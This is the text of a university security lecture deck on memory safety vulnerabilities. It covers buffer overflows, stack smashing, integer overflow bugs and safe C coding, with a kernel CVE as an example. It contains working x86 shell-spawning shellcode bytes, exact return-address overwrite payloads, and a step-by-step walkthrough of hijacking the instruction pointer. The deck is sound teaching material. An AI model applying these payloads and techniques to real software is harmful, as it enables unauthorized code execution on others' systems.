1 of 61

Memory Safety Vulnerabilities

CS 161 Spring & Summer 2025 - Lecture 3

Computer Science 161

2 of 61

Last Time: x86 Assembly and Call Stack

C memory layout

Code section: Machine code (raw bits) to be executed
Static section: Static variables
Heap section: Dynamically allocated memory (e.g. from malloc)
Stack section: Local variables and stack frames

x86 registers

EBP register points to the top of the current stack frame
ESP register points to the bottom of the stack
EIP register points to the next instruction to be executed

x86 calling convention

When calling a function, the old EIP (RIP) is saved on the stack
When calling a function, the old EBP (SFP) is saved on the stack
When the function returns, the old EBP and EIP are restored from the stack

2

Computer Science 161

3 of 61

Today: Memory Safety Vulnerabilities

Buffer overflows

Stack smashing
Memory-safe code

Integer memory safety vulnerabilities
Format string vulnerabilities
Heap vulnerabilities
Writing robust exploits

3

Computer Science 161

4 of 61

Buffer Overflow Vulnerabilities

4

Textbook Chapter 3.1

Computer Science 161

5 of 61

Consider an Airport Terminal…

5

Computer Science 161

6 of 61

Consider an Airport “Terminal”…

6

#293 HRE-THR 850 1930

ALICE SMITH 

ECONOMY

SPECIAL INSTRUX: NONE 

Computer Science 161

7 of 61

Consider an Airport “Terminal”…

7

Computer Science 161

8 of 61

Consider an Airport “Terminal”…

8

#293 HRE-THR 850 1930

ALICE SMITHHHHHHHHHHH

HHONOMY

SPECIAL INSTRUX: NONE 

How could Alice exploit this?

Computer Science 161

9 of 61

Consider an Airport “Terminal”…

9

#293 HRE-THR 850 1930

ALICE SMITH 

FIRST

SPECIAL INSTRUX: NONE 

By inserting padding characters (spaces) and exploiting the lack of boundaries between lines, Alice now appears to be in first class!

Takeaway: Attackers can exploit lack of boundaries to control areas (memory, as we will see shortly) that they aren’t supposed to control

Computer Science 161

10 of 61

Buffer Overflow Vulnerabilities

Recall: C has no concept of array length; it just sees a sequence of bytes
If you allow an attacker to start writing at a location and don’t define when they must stop, they can overwrite other parts of memory!

10

char name[4];

name[5] = 'a';

						a

name[0]

name[1]

name[2]

name[3]

name[5]

This is technically valid C code, because C doesn’t check bounds!

Computer Science 161

11 of 61

Vulnerable Code

11

char name[20];

void vulnerable(void) {

...

gets(name);

...

}

The gets function will write bytes until the input contains a newline ('\n'), not when the end of the array is reached!

Okay, but there’s nothing to overwrite—for now…

Computer Science 161

12 of 61

Vulnerable Code

12

char name[20];

char instrux[20] = "none";

void vulnerable(void) {

...

gets(name);

...

}

What does the memory diagram of static data look like now?

Computer Science 161

13 of 61

Vulnerable Code

13

char name[20];

char instrux[20] = "none";

void vulnerable(void) {

...

gets(name);

...

}

...
...
...
...
...
instrux
instrux
instrux
instrux
instrux
name
name
name
name
name

gets starts writing here and can overwrite anything above name!

What can go wrong here?

Note: name and instrux are declared in static memory (outside of the stack), which is why name is below instrux

Computer Science 161

14 of 61

Vulnerable Code

14

char name[20];

int authenticated = 0;

void vulnerable(void) {

...

gets(name);

...

}

...
...
...
...
...
...
...
...
...
authenticated
name
name
name
name
name

gets starts writing here and can overwrite the authenticated flag!

What can go wrong here?

Computer Science 161

15 of 61

Vulnerable Code

15

char line[512];

char command[] = "/usr/bin/ls";

int main(void) {

...

gets(line);

...

execv(command, ...);

}

...
...
...
...
...
...
...
...
command
command
command
line
...
line
line

What can go wrong here?

Computer Science 161

16 of 61

Vulnerable Code

16

char name[20];

int (*fnptr)(void);

void vulnerable(void) {

...

gets(name);

...

fnptr();

}

...
...
...
...
...
...
...
...
...
fnptr
name
name
name
name
name

fnptr is called as a function, so the EIP jumps to an address of our choosing!

What can go wrong here?

Computer Science 161

17 of 61

Top 10 Most Dangerous Software Weaknesses (2023)

17

Rank	ID	Name	Score
[1]	CWE-787	Out-of-bounds Write	63.72
[2]	CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	45.54
[3]	CWE-89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	34.27
[4]	CWE-416	Use After Free	16.71
[5]	CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	15.65
[6]	CWE-20	Improper Input Validation	15.50
[7]	CWE-125	Out-of-bounds Read	14.60
[8]	CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	14.11
[9]	CWE-352	Cross-Site Request Forgery (CSRF)	11.73
[10]	CWE-434	Unrestricted Upload of File with Dangerous Type	10.41

Computer Science 161

18 of 61

Note: Python Syntax

For this class, you will see Python syntax used to represent sequences of bytes

This syntax will be used in Project 1 and on exams!

Adding strings: Concatenation

'abc' + 'def' == 'abcdef'

Multiplying strings: Repeated concatenation

'a' * 5 == 'aaaaa'
'cs161' * 3 == 'cs161cs161cs161'

18

Computer Science 161

19 of 61

Note: Python Syntax

Raw bytes

len('\xff') == 1

Characters can be represented as bytes too

'\x41' == 'A'

Note for the project: '\\' is a literal backslash character

len('\\xff') == 4, because the slash is escaped first

This is a literal slash character, a literal 'x' character, and 2 literal 'f' characters
'\\xff' == '\x5c\x78\x66\x66'

19

Computer Science 161

20 of 61

Stack Smashing

20

Textbook Chapter 3.2

Computer Science 161

21 of 61

Stack Smashing

The most common kind of buffer overflow
Occurs on stack memory
What are some values on the stack an attacker can overflow?

Local variables
Function arguments
Saved frame pointer (SFP)
Return instruction pointer (RIP)

Recall: When returning from a program, the EIP is set to the value of the RIP saved on the stack in memory

Like the function pointer, this lets the attacker choose an address to jump (return) to!

21

Computer Science 161

22 of 61

Overwriting the RIP

22

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
RIP of vulnerable
SFP of vulnerable
name
name
name
name
name

gets starts writing here and can overwrite anything above name, including the RIP!

void vulnerable(void) {

char name[20];

gets(name);

}

Assume that the attacker wants to execute instructions at address 0xdeadbeef.

name

SFP

RIP

What should an attacker supply as input to the gets function?

What value should the attacker write in memory? Where should the value be written?

Computer Science 161

23 of 61

Overwriting the RIP

Input: 'A' * 24 + '\xef\xbe\xad\xde' + '\n'

24 garbage bytes to overwrite all of name and the SFP of vulnerable
The address of the instructions we want to execute

Remember: Addresses are little-endian!

What if we want to execute instructions that aren’t in memory?

23

void vulnerable(void) {

char name[20];

gets(name);

}

Note the NULL byte that terminates the string, automatically added by gets!

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
'\x00'	...	...	...
'\xef'	'\xbe'	'\xad'	'\xde'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'

name

SFP

RIP

Computer Science 161

24 of 61

Writing Malicious Code

The most common way of executing malicious code is to place it in memory yourself

Recall: Machine code is made of bytes

Shellcode: Malicious code inserted by the attacker into memory, to be executed using a memory safety exploit

Called shellcode because it usually spawns a shell (terminal)
Could also delete files, run another program, etc.

24

xor %eax, %eax�push %eax�push $0x68732f2f�push $0x6e69622f�mov %esp, %ebx�mov %eax, %ecx�mov %eax, %edx�mov $0xb, %al�int $0x80

0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80

Assembler

Computer Science 161

25 of 61

Putting Together an Attack

Find a memory safety (e.g. buffer overflow) vulnerability
Write malicious shellcode at a known memory address
Overwrite the RIP with the address of the shellcode

Often, the shellcode can be written and the RIP can be overwritten in the same function call (e.g. gets), like in the previous example

Return from the function
Begin executing malicious shellcode

25

Computer Science 161

26 of 61

Constructing Exploits

26

void vulnerable(void) {

char name[20];

gets(name);

}

Let SHELLCODE be a 12-byte shellcode. Assume that the address of name is 0xbfffcd40.

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
RIP of vulnerable
SFP of vulnerable
name
name
name
name
name

name

SFP

RIP

0xbfffcd5c
0xbfffcd58
0xbfffcd54
0xbfffcd50
0xbfffcd4c
0xbfffcd48
0xbfffcd44
0xbfffcd40

What should an attacker supply as input to the gets function?

What values should the attacker write in memory? Where should the values be written?

Computer Science 161

27 of 61

Constructing Exploits

Input: SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf' + '\n'

12 bytes of shellcode
12 garbage bytes to overwrite the rest of name and the SFP of vulnerable
The address of where we placed the shellcode

27

0xbfffcd5c
0xbfffcd58
0xbfffcd54
0xbfffcd50
0xbfffcd4c
0xbfffcd48
0xbfffcd44
0xbfffcd40

void vulnerable(void) {

char name[20];

gets(name);

}

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
'\x00'	...	...	...
'\x40'	'\xcd'	'\xff'	'\xbf'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
SHELLCODE
SHELLCODE
SHELLCODE

name

SFP

RIP

Computer Science 161

28 of 61

Constructing Exploits

Alternative: 'A' * 12 + SHELLCODE + '\x4c\xcd\xff\xbf' + '\n'

The address changed! Why?

We placed our shellcode at a different address (name + 12)!

28

0xbfffcd5c
0xbfffcd58
0xbfffcd54
0xbfffcd50
0xbfffcd4c
0xbfffcd48
0xbfffcd44
0xbfffcd40

void vulnerable(void) {

char name[20];

gets(name);

}

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
'\x00'	...	...	...
'\x4c'	'\xcd'	'\xff'	'\xbf'
SHELLCODE
SHELLCODE
SHELLCODE
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'

name

SFP

RIP

Computer Science 161

29 of 61

Constructing Exploits

29

void vulnerable(void) {

char name[20];

gets(name);

}

What if the shellcode is too large? Now let SHELLCODE be a 28-byte shellcode. What should the attacker input?

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
RIP of vulnerable
SFP of vulnerable
name
name
name
name
name

name

SFP

RIP

0xbfffcd5c
0xbfffcd58
0xbfffcd54
0xbfffcd50
0xbfffcd4c
0xbfffcd48
0xbfffcd44
0xbfffcd40

Computer Science 161

30 of 61

Constructing Exploits

Solution: Place the shellcode after the RIP!

This works because gets lets us write as many bytes as we want
What should the address be?

Input: 'A' * 24 + '\x5c\xcd\xff\xbf' + SHELLCODE

24 bytes of garbage
The address of where we placed the shellcode
28 bytes of shellcode

30

0xbfffcd5c
0xbfffcd58
0xbfffcd54
0xbfffcd50
0xbfffcd4c
0xbfffcd48
0xbfffcd44
0xbfffcd40

void vulnerable(void) {

char name[20];

gets(name);

}

'\x00'	...	...	...
SHELLCODE
SHELLCODE
SHELLCODE
SHELLCODE
SHELLCODE
SHELLCODE
SHELLCODE
'\x5c'	'\xcd'	'\xff'	'\xbf'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'
'A'	'A'	'A'	'A'

name

SFP

RIP

Computer Science 161

31 of 61

Walking Through a Buffer Overflow

31

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
SFP of vulnerable
name
name
name
name
name
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

32 of 61

Walking Through a Buffer Overflow

32

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
SFP of vulnerable
name
name
name
name
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

33 of 61

Walking Through a Buffer Overflow

33

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
SFP of vulnerable
name
name
name
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

34 of 61

Walking Through a Buffer Overflow

34

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
SFP of vulnerable
name
name
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

35 of 61

Walking Through a Buffer Overflow

35

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
SFP of vulnerable
name
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

36 of 61

Walking Through a Buffer Overflow

36

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
SFP of vulnerable
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

37 of 61

Walking Through a Buffer Overflow

37

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
...
RIP of vulnerable
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

We overwrite the SFP (saved EBP) with 'AAAA', so the SFP is now pointing at the (probably invalid) address AAAA (0x41414141)

Computer Science 161

38 of 61

Walking Through a Buffer Overflow

38

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
'\x00'	...
(RIP) 0xbfffcd40
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

We overwrite the RIP (saved EIP) with the address of our shellcode 0xbfffcd40, so the RIP is now pointing at our shellcode! Remember, this value will be restored to EIP (the instruction pointer) later.

Computer Science 161

39 of 61

Walking Through a Buffer Overflow

39

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
'\x00'	...
(RIP) 0xbfffcd40
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Returning from gets: Move ESP up by 4.

Computer Science 161

40 of 61

Walking Through a Buffer Overflow

40

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
'\x00'	...
(RIP) 0xbfffcd40
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Function epilogue: Move ESP to EBP.

Computer Science 161

41 of 61

Walking Through a Buffer Overflow

41

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
'\x00'	...
(RIP) 0xbfffcd40
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Function epilogue: Restore the SFP into EBP. We overwrote SFP to 'AAAA', so the EBP now also points to the address 'AAAA'. We don’t really care about EBP, though.

Computer Science 161

42 of 61

Walking Through a Buffer Overflow

42

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
'\x00'	...
(RIP) 0xbfffcd40
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Function epilogue: Restore the RIP into EIP. We overwrote RIP to the address of shellcode, so the EIP (instruction pointer) now points to our shellcode!

Computer Science 161

43 of 61

Walking Through a Buffer Overflow

43

...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...	...	...	...
...
'\x00'	...
(RIP) 0xbfffcd40
(SFP) 'AAAA'
(name) 'AAAA'
(name) 'AAAA'
(name) SHELLCODE
(name) SHELLCODE
(name) SHELLCODE
...

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

sh # _

Computer Science 161

44 of 61

Memory-Safe Code

44

Computer Science 161

45 of 61

Still Vulnerable Code?

45

void vulnerable?(void) {

char *name = malloc(20);

...

gets(name);

...

}

Heap overflows are also vulnerable!

Computer Science 161

46 of 61

Solution: Specify the Size

46

void safe(void) {

char name[20];

...

fgets(name, 20, stdin);

...

}

The length parameter specifies the size of the buffer and won’t write any more bytes—no more buffer overflows!

Warning: Different functions take slightly different parameters

Computer Science 161

47 of 61

Solution: Specify the Size

47

void safer(void) {

char name[20];

...

fgets(name, sizeof(name), stdin);

...

}

sizeof returns the size of the variable (does not work for pointers)

Computer Science 161

48 of 61

Vulnerable C Library Functions

gets - Read a string from stdin

Use fgets instead

strcpy - Copy a string

Use strncpy (more compatible, less safe) or strlcpy (less compatible, more safe) instead

strlen - Get the length of a string

Use strnlen instead (or memchr if you really need compatible code)

… and more (look up C functions before you use them!)

man pages are your friend!

48

Computer Science 161

49 of 61

man fgets

49

Computer Science 161

50 of 61

Integer Memory Safety Vulnerabilities

50

Textbook Chapter 3.4

Computer Science 161

51 of 61

Signed/Unsigned Vulnerabilities

51

void func(int len, char *data) {

char buf[64];

if (len > 64)

return;

memcpy(buf, data, len);

}

void *memcpy(void *dest, const void *src, size_t n);

int is a signed type, but size_t is an unsigned type. What happens if len == -1?

This is a signed comparison, so len > 64 will be false. But when we call memcpy(), casting -1 to an unsigned type yields 0xffffffff: another buffer overflow!

Is this safe?

Computer Science 161

52 of 61

Signed/Unsigned Vulnerabilities

52

void safe(size_t len, char *data) {

char buf[64];

if (len > 64)

return;

memcpy(buf, data, len);

}

Now this is an unsigned comparison, and no casting is necessary!

Computer Science 161

53 of 61

Integer Overflow Vulnerabilities

53

void func(size_t len, char *data) {

char *buf = malloc(len + 2);

if (buf == NULL)

return;

memcpy(buf, data, len);

buf[len] = '\n';

buf[len + 1] = '\0';

}

Is this safe?

What happens if len == 0xffffffff?

len + 2 == 1, enabling a heap overflow!

Computer Science 161

54 of 61

Integer Overflow Vulnerabilities

54

void safe(size_t len, char *data) {� if (len > SIZE_MAX - 2)

return;

char *buf = malloc(len + 2);

if (buf == NULL)

return;

memcpy(buf, data, len);

buf[len] = '\n';

buf[len + 1] = '\0';

}

It’s clunky, but you need to check bounds whenever you add to integers!

Computer Science 161

55 of 61

Integer Overflows in the Wild

55

WJXT Jacksonville	Link
Broward Vote-Counting Blunder Changes Amendment Result	November 4, 2004
The Broward County Elections Department has egg on its face today after a computer glitch misreported a key amendment race, according to WPLG-TV in Miami. Amendment 4, which would allow Miami-Dade and Broward counties to hold a future election to decide if slot machines should be allowed at racetracks, was thought to be tied. But now that a computer glitch for machines counting absentee ballots has been exposed, it turns out the amendment passed. "The software is not geared to count more than 32,000 votes in a precinct. So what happens when it gets to 32,000 is the software starts counting backward," said Broward County Mayor Ilene Lieberman. That means that Amendment 4 passed in Broward County by more than 240,000 votes rather than the 166,000-vote margin reported Wednesday night. That increase changes the overall statewide results in what had been a neck-and-neck race, one for which recounts had been going on today. But with news of Broward's error, it's clear amendment 4 passed.

Computer Science 161

56 of 61

Integer Overflows in the Wild

32,000 votes is very close to 32,768, or 2¹⁵ (the article probably rounded)

Recall: The maximum value of a signed, 16-bit integer is 2¹⁵ - 1
This means that an integer overflow would cause -32,768 votes to be counted!

Takeaway: Check the limits of data types used, and choose the right data type for the job

If writing software, consider the largest possible use case.

32 bits might be enough for Broward County but isn’t enough for everyone on Earth!
64 bits, however, would be plenty.

56

Computer Science 161

57 of 61

Another Integer Overflow in the Wild

57

9 to 5 Linux	Link
New Linux Kernel Vulnerability Patched in All Supported Ubuntu Systems, Update Now
Marius Nestor	January 19, 2022
Discovered by William Liu and Jamie Hill-Daniel, the new security flaw (CVE-2022-0185) is an integer underflow vulnerability found in Linux kernel’s file system context functionality, which could allow an attacker to crash the system or run programs as an administrator.

Computer Science 161

58 of 61

How Does This Vulnerability Work?

The entire kernel (operating system) patch:�– if (len > PAGE_SIZE - 2 - size)�+ if (size + len + 2 > PAGE_SIZE)� return invalf(fc, "VFS: Legacy: Cumulative options too large)
Why was the original code (len > PAGE_SIZE - 2 - size) vulnerable?

58

Computer Science 161

59 of 61

How Does This Vulnerability Work?

The entire kernel (operating system) patch:�– if (len > PAGE_SIZE - 2 - size)�+ if (size + len + 2 > PAGE_SIZE)� return invalf(fc, "VFS: Legacy: Cumulative options too large)
Why was the original code (len > PAGE_SIZE - 2 - size) vulnerable?

PAGE_SIZE, size, and len are unsigned

59

Computer Science 161

60 of 61

Summary: Memory Safety Vulnerabilities

Buffer overflows: An attacker overwrites unintended parts of memory

Stack smashing: An attacker overwrites saved registers on the stack
Memory-safe code: Fixing code to avoid buffer overflows

Integer memory safety vulnerabilities: An attacker exploits how integers are represented in C memory

60

Computer Science 161

61 of 61

How Does This Vulnerability Work?

The entire kernel (operating system) patch:�– if (len > PAGE_SIZE - 2 - size)�+ if (size + len + 2 > PAGE_SIZE)� return invalf(fc, "VFS: Legacy: Cumulative options too large)
Why was the original code (len > PAGE_SIZE - 2 - size) vulnerable?

PAGE_SIZE, size, and len are unsigned
If size is larger than PAGE_SIZE, then PAGE_SIZE - 2 - size will trigger a negative overflow to 0xFFFFFFFF

Result: An attacker can bypass the length check and write data into the kernel

61

Computer Science 161